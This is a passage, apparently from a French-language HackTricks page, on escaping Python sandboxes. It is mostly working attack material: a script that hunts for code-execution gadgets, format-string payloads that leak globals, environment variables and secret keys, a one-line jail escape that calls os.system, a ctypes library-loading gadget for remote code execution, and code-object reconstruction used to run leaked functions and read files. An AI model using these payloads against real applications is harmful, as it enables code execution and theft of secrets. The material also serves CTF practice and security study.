os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
commands:
subprocess: BaseDependency, Origin, Version, Package
pty:
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
imp:
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
pip:
pdb:
system: _wrap_close, _wrap_close
getstatusoutput: CompletedProcess, Popen
getoutput: CompletedProcess, Popen
call: CompletedProcess, Popen
Popen: CompletedProcess, Popen
spawn:
import_module:
__import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec
load_source: NullImporter, _HackedGetData
execfile:
execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""

Recherche récursive de Builtins, Globals...

import os, sys # Import these to find more gadgets

SEARCH_FOR = {
# Misc
"__globals__": set(),
"builtins": set(),
"__builtins__": set(),
"open": set(),

# RCE libs
"os": set(),
"subprocess": set(),
"commands": set(),
"pty": set(),
"importlib": set(),
"imp": set(),
"sys": set(),
"pip": set(),
"pdb": set(),

# RCE methods
"system": set(),
"popen": set(),
"getstatusoutput": set(),
"getoutput": set(),
"call": set(),
"Popen": set(),
"popen": set(),
"spawn": set(),
"import_module": set(),
"__import__": set(),
"load_source": set(),
"execfile": set(),
"execute": set()
}

#More than 4 is very time consuming
MAX_CONT = 4

#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found
#ALREADY_CHECKED = set()

def check_recursive(element, cont, name, orig_n, orig_i, execute):
# If bigger than maximum, stop
if cont > MAX_CONT:
return

# If already checked, stop
#if name and name in ALREADY_CHECKED:
#    return

# Add to already checked
#if name:
#    ALREADY_CHECKED.add(name)

# If found add to the dict
for k in SEARCH_FOR:
if k in dir(element) or (type(element) is dict and k in element):
SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")

# Continue with the recursivity
for new_element in dir(element):
try:
check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)

# WARNING: Calling random functions sometimes kills the script
# Comment this part if you notice that behaviour!!
if execute:
try:
if callable(getattr(element, new_element)):
check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)
except:
pass

except:
pass

# If in a dict, scan also each key, very important
if type(element) is dict:
for new_element in element:
check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)


def main():
print("Checking from empty string...")
total = [""]
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Empty str {i}", True)

print()
print("Checking loaded subclasses...")
total = "".__class__.__base__.__subclasses__()
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Subclass {i}", True)

print()
print("Checking from global functions...")
total = [print, check_recursive]
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Global func {i}", False)

print()
print(SEARCH_FOR)


if __name__ == "__main__":
main()

Vous pouvez vérifier la sortie de ce script sur cette page :

https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md

Python Format String

Si vous envoyez une chaîne à python qui va être formatée, vous pouvez utiliser {} pour accéder aux informations internes de python. Vous pouvez utiliser les exemples précédents pour accéder à globals ou builtins, par exemple.

# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
"KEY": "ASXFYFGK78989"
}

class PeopleInfo:
def __init__(self, fname, lname):
self.fname = fname
self.lname = lname

def get_name_for_avatar(avatar_str, people_obj):
return avatar_str.format(people_obj = people_obj)

people = PeopleInfo('GEEKS', 'FORGEEKS')

st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)

Remarquez comment vous pouvez accéder aux attributs de manière normale avec un point comme people_obj.__init__ et un élément de dict avec des crochets sans guillemets __globals__[CONFIG]

Notez aussi que vous pouvez utiliser .__dict__ pour énumérer les éléments d'un objet get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)

Parmi d'autres caractéristiques intéressantes des format strings, il est possible d'exécuter les fonctions str, repr et ascii sur l'objet indiqué en ajoutant respectivement !s, !r, !a :

st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)

De plus, il est possible de code new formatters dans des classes:

class HAL9000(object):
def __format__(self, format):
if (format == 'open-the-pod-bay-doors'):
return "I'm afraid I can't do that."
return 'HAL 9000'

'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.

Plus d'exemples concernant les format string sont disponibles sur https://pyformat.info/

Python Internal Read Gadgets

Payloads de divulgation d'informations sensibles

{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
{whoami.__globals__[os].environ}
{whoami.__globals__[sys].path}
{whoami.__globals__[sys].modules}

# Access an element through several links
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}

# Example from https://corgi.rip/posts/buckeye-writeups/
secret_variable = "clueless"
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
str(x) # Out: clueless

LLM Jails bypass

À partir de here: ().class.base.subclasses()[108].load_module('os').system('dir')

Du format vers RCE en chargeant des bibliothèques

Selon le TypeMonkey chall from this writeup il est possible de charger des bibliothèques arbitraires depuis le disque en abusant de la format string vulnerability en python.

Pour rappel, chaque fois qu'une action est exécutée en python, une fonction est appelée. Par exemple 2*3 exécutera (2).mul(3) ou {'a':'b'}['a'] exécutera {'a':'b'}.__getitem__('a').

Il y en a d'autres dans la section Python execution without calls.

Une vulnérabilité de format string python n'autorise pas l'exécution de fonctions (elle n'autorise pas l'utilisation de parenthèses), donc il n'est pas possible d'obtenir RCE comme '{0.system("/bin/sh")}'.format(os).
Cependant, il est possible d'utiliser []. Par conséquent, si une bibliothèque python courante a une méthode __getitem__ ou __getattr__ qui exécute du code arbitraire, il est possible de les exploiter pour obtenir RCE.

En cherchant un gadget de ce type dans python, le writeup propose cette Github search query. C'est là qu'il a trouvé cette one:

class LibraryLoader(object):
def __init__(self, dlltype):
self._dlltype = dlltype

def __getattr__(self, name):
if name[0] == '_':
raise AttributeError(name)
try:
dll = self._dlltype(name)
except OSError:
raise AttributeError(name)
setattr(self, name, dll)
return dll

def __getitem__(self, name):
return getattr(self, name)

cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)

Ce gadget permet de charger une bibliothèque depuis le disque. Par conséquent, il est nécessaire d'écrire ou de téléverser d'une manière ou d'une autre la bibliothèque à charger, correctement compilée, sur le serveur attaqué.

'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'

Le challenge exploite en réalité une autre vulnérabilité du serveur qui permet de créer des fichiers arbitraires sur le disque du serveur.

Analyse des objets Python

Dans certains CTFs, on pourrait vous fournir le nom d'une fonction personnalisée où le flag se trouve, et vous devrez examiner les internes de la fonction pour l'extraire.

Voici la fonction à inspecter:

def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
if some_input == var2:
return "THIS-IS-THE-FALG!"
else:
return "Nope"

dir

dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag) #Get info tof the function
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']

globals

__globals__ et func_globals (identiques) obtiennent l'environnement global. Dans l'exemple, vous pouvez voir certains modules importés, quelques variables globales et le contenu qui leur est déclaré :

get_flag.func_globals
get_flag.__globals__
{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}

#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__

Voir ici d'autres endroits pour obtenir globals

Accéder au code de la fonction

__code__ and func_code: Vous pouvez accéder à cet attribut de la fonction pour obtenir l'objet code de la fonction.

# In our current example
get_flag.__code__
<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1

# Compiling some python code
compile("print(5)", "", "single")
<code object <module> at 0x7f9ca01330c0, file "", line 1>

#Get the attributes of the code object
dir(get_flag.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']

Obtenir des informations sur le code

# Another example
s = '''
a = 5
b = 'text'
def f(x):
return x
f(5)
'''
c=compile(s, "", "exec")

# __doc__: Get the description of the function, if any
print.__doc__

# co_consts: Constants
get_flag.__code__.co_consts
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')

c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.
(5, 'text', <code object f at 0x7f9ca0133540, file "", line 4>, 'f', None

# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
get_flag.__code__.co_names
()

c.co_names
('a', 'b', 'f')


#co_varnames: Local names used by the bytecode (arguments first, then the local variables)
get_flag.__code__.co_varnames
('some_input', 'var1', 'var2', 'var3')

#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.
get_flag.__code__.co_cellvars
()

#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.
get_flag.__code__.co_freevars
()

#Get bytecode
get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'

Désassembler une fonction

import dis
dis.dis(get_flag)
2           0 LOAD_CONST               1 (1)
3 STORE_FAST               1 (var1)

3           6 LOAD_CONST               2 ('secretcode')
9 STORE_FAST               2 (var2)

4          12 LOAD_CONST               3 ('some')
15 LOAD_CONST               4 ('array')
18 BUILD_LIST               2
21 STORE_FAST               3 (var3)

5          24 LOAD_FAST                0 (some_input)
27 LOAD_FAST                2 (var2)
30 COMPARE_OP               2 (==)
33 POP_JUMP_IF_FALSE       40

6          36 LOAD_CONST               5 ('THIS-IS-THE-FLAG!')
39 RETURN_VALUE

8     >>   40 LOAD_CONST               6 ('Nope')
43 RETURN_VALUE
44 LOAD_CONST               0 (None)
47 RETURN_VALUE

Remarquez que si vous ne pouvez pas importer dis dans le python sandbox vous pouvez obtenir le bytecode de la fonction (get_flag.func_code.co_code) et la désassembler localement. Vous ne verrez pas le contenu des variables chargées (LOAD_CONST) mais vous pouvez les deviner à partir de (get_flag.func_code.co_consts) car LOAD_CONST indique aussi l'offset de la variable chargée.

dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST          1 (1)
3 STORE_FAST          1 (1)
6 LOAD_CONST          2 (2)
9 STORE_FAST          2 (2)
12 LOAD_CONST          3 (3)
15 LOAD_CONST          4 (4)
18 BUILD_LIST          2
21 STORE_FAST          3 (3)
24 LOAD_FAST           0 (0)
27 LOAD_FAST           2 (2)
30 COMPARE_OP          2 (==)
33 POP_JUMP_IF_FALSE    40
36 LOAD_CONST          5 (5)
39 RETURN_VALUE
>>   40 LOAD_CONST          6 (6)
43 RETURN_VALUE
44 LOAD_CONST          0 (0)
47 RETURN_VALUE

Compilation de Python

Imaginons maintenant que, d'une manière ou d'une autre, vous puissiez dump les informations sur une fonction que vous ne pouvez pas exécuter mais que vous avez besoin de l'exécuter.
Comme dans l'exemple suivant, vous pouvez accéder au code object de cette fonction, mais en lisant simplement le disassemble vous ne savez pas comment calculer le flag (imaginez une fonction calc_flag plus complexe)

def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
def calc_flag(flag_rot2):
return ''.join(chr(ord(c)-2) for c in flag_rot2)
if some_input == var2:
return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"

Création du code object

Tout d'abord, nous devons savoir comment créer et exécuter un code object afin que nous puissions en créer un pour exécuter notre function leaked:

code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
code_obj = code_type(co_argcount, co_kwonlyargcount,
co_nlocals, co_stacksize, co_flags,
co_code, co_consts, co_names,
co_varnames, co_filename, co_name,
co_firstlineno, co_lnotab, freevars=None,
cellvars=None)

# Execution
eval(code_obj) #Execute as a whole script

# If you have the code of a function, execute it
mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")

import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n      flags, codestring, constants, names, varnames, filename, name,\n      firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object.  Not for the faint of heart.'

Recréer une fonction leaked

fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)

mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag

Contourner les défenses

Dans les exemples précédents au début de cet article, vous pouvez voir comment exécuter n'importe quel code python en utilisant la fonction compile. C'est intéressant car vous pouvez exécuter des scripts entiers avec des boucles et tout en une seule ligne (et nous pourrions faire la même chose en utilisant exec).
Quoi qu'il en soit, il peut parfois être utile de créer un objet compilé sur une machine locale et de l'exécuter dans la CTF machine (par exemple parce que nous n'avons pas la fonction compiled dans la CTF).

Par exemple, compilons et exécutons manuellement une fonction qui lit ./poc.py:

#Locally
def read():
return open("./poc.py",'r').read()

read.__code__.co_code
't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'

#On Remote
function_type = type(lambda: None)
code_type = type((lambda: None).__code__) #Get <type 'type'>
consts = (None, "./poc.py", 'r')
bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
names = ('open','read')

# And execute it using eval/exec
eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))

#You could also execute it directly
mydict = {}
mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()

Si vous ne pouvez pas accéder à eval ou exec, vous pouvez créer une fonction appropriée, mais l'appeler directement va généralement échouer avec : constructor not accessible in restricted mode. Vous avez donc besoin d'une fonction qui n'est pas dans l'environnement restreint pour appeler cette fonction.

#Compile a regular print
ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)

Décompilation de Python compilé

En utilisant des outils comme https://www.decompiler.com/ on peut decompile du code python compilé donné.

Consultez ce tutoriel :

Decompile compiled python binaries (exe, elf) - Retreive from .pyc

Divers Python

Assert

Python exécuté avec les optimisations via le paramètre -O supprimera les assert statements et tout code conditionné par la valeur de debug.
Par conséquent, des vérifications comme

def check_permission(super_user):
try:
assert(super_user)
print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")

sera bypassed

Références

• https://lbarman.ch/blog/pyjail/
• https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/
• https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/
• https://gynvael.coldwind.pl/n/python_sandbox_escape
• https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html
• https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6
• CVE-2023-33733 (ReportLab rl_safe_eval expression evaluation RCE) – NVD
• c53elyas/CVE-2023-33733 PoC and write-up
• 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE